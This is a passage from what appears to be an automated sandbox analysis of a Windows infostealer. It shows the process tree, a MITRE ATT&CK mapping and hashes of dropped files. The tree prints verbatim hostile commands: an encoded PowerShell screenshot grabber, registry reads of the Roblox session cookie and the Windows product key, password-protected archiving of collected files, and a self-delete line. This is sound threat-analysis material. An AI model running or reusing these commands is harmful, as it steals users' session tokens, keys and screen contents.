    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2988
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gpxap23e\gpxap23e.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1820
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB59A.tmp" "c:\Users\Admin\AppData\Local\Temp\gpxap23e\CSCBFFF089BF1FC4FFFB094B66A5C7EBF3.TMP"
        6⤵
        
        PID:6044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5556
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6096
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29042\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\fxFGv.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\_MEI29042\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI29042\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\fxFGv.zip" *
      4⤵
      Executes dropped EXE
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:5676
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:4196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\lib.exe""
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3128
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4608

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 16c73b6ba20cc03244e01125915991392fa286f09c16a0035e8ecdad9c88556a
MD5 e6225c1a789731156bc538dc40b84c53
SHA1 ecd801f1f8fc4154180b949b86f25fb495432f45
SHA512 a5b1a01f6457c1fae2c888591555a7d05ec2d01e92aa44179b16610e202d066a668fb78dc9f14aecb04c4ab792a9755e535933531afcfffe8c3a971e8831fbe2
TLSH
T1BB216A33F3CD8655D899403A40CEAC0032B7D7DB409FCE9BAB84D508B43F689CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fe6f2e8235d91fa505f3ec002c42b3cd48a2dea8f0effcec352d605479330333
MD5 2b3a1c0e34418b130e7cad2da471fdd4
SHA1 381a5f6f2d7c50caca64e59222b5e64e022b9b1c
SHA512 d554ca538a1442842dd125583211297fcefd7c20fcc58c8be8e4542613305878bf050a4cfac658e7d1de9cbdf0686bc9d3bd523e57014aedebe7edf5b3d28a2f
TLSH
T11E215333F3CC8624C89A403A50CEAC1036B687DB419ECEABBB84D154A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RESB59A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB59A.tmp
Size 1KB
SHA256 d506d079365adef8080f73c2d943c9dbda0d37a01845879ff3d5d39d248e3eab
MD5 2b2cf60c57d0f88218142645f96f543f
SHA1 6d55281250e7c3100a156d18e56e5af9bbbfccd9
SHA512 404c65b474ecc74bed8a3bcf08e7160409f5cbfd6bda5ceb80e4a398912a99ea9f2ed2b721df0d9be3d73003731a586e7ef4866d4808cc1abb488365529f88b5
TLSH
T1AA21AD09A7E9470FF0775731A9F6471BA128FD55DFA2639A8840621C2C51604FEE1F72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29042\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI29042\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29042\_bz2.pyd
Size 50KB
SHA256 899c31648f493e173f28a189f2bab475b78fd9299605b536aecf6e4e5a182fd4
MD5 2f0fb921014370c46b573fe8f494256a
SHA1 df8d14b8497ad14a8b1abf18ffb15456a9bfc466
SHA512 347460dd199825dbbbeb80ed95557b31fcd3689ece3a2fcf37d044b2a9078fc17ffab8667e228963b9b2bd84beb0ccd63e38e1a453924797ce4fa98e5b4d235e
SSDEEP 1536:ZO5XSUTCAvXwFT0ccbzqrKIVekzNLIeLVIcyG5TT/9vfIZRzz:IpVXsocSqrKIVTxIeLVIGpSZl
TLSH
T1BF33C0D6523CC513FAA3AEB162D1D980FA34BBA39409476634D9E3D14E633C0F356639
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI29042\_ctypes.pyd
Size 64KB
SHA256 31b7c05e768f0ece4f157be0b43cde95c927e7520c2629e84059459ae160fc43
MD5 acf7d23072b897ec4ef2e205b1ba1163
SHA1 50deba22dd6194f5a62dd5b9df530ff5b9d10983
SHA512 b7edb66bf7e80eb942755fe206ca13af59efcbaf9a8cb02e4eeb76a6f34ee0039d85f2e9b01a5543bd2b422c7799c6fa47db082583d6a5c11fce6457b347ae90
SSDEEP 1536:BNp5VtTcEEODB8PX1OI51tOn8Rv0xGpjQIeyPjSyG5TT/9ihfIUyG:ltTcEEODBqhCOv1pEIeyPjYp5
TLSH
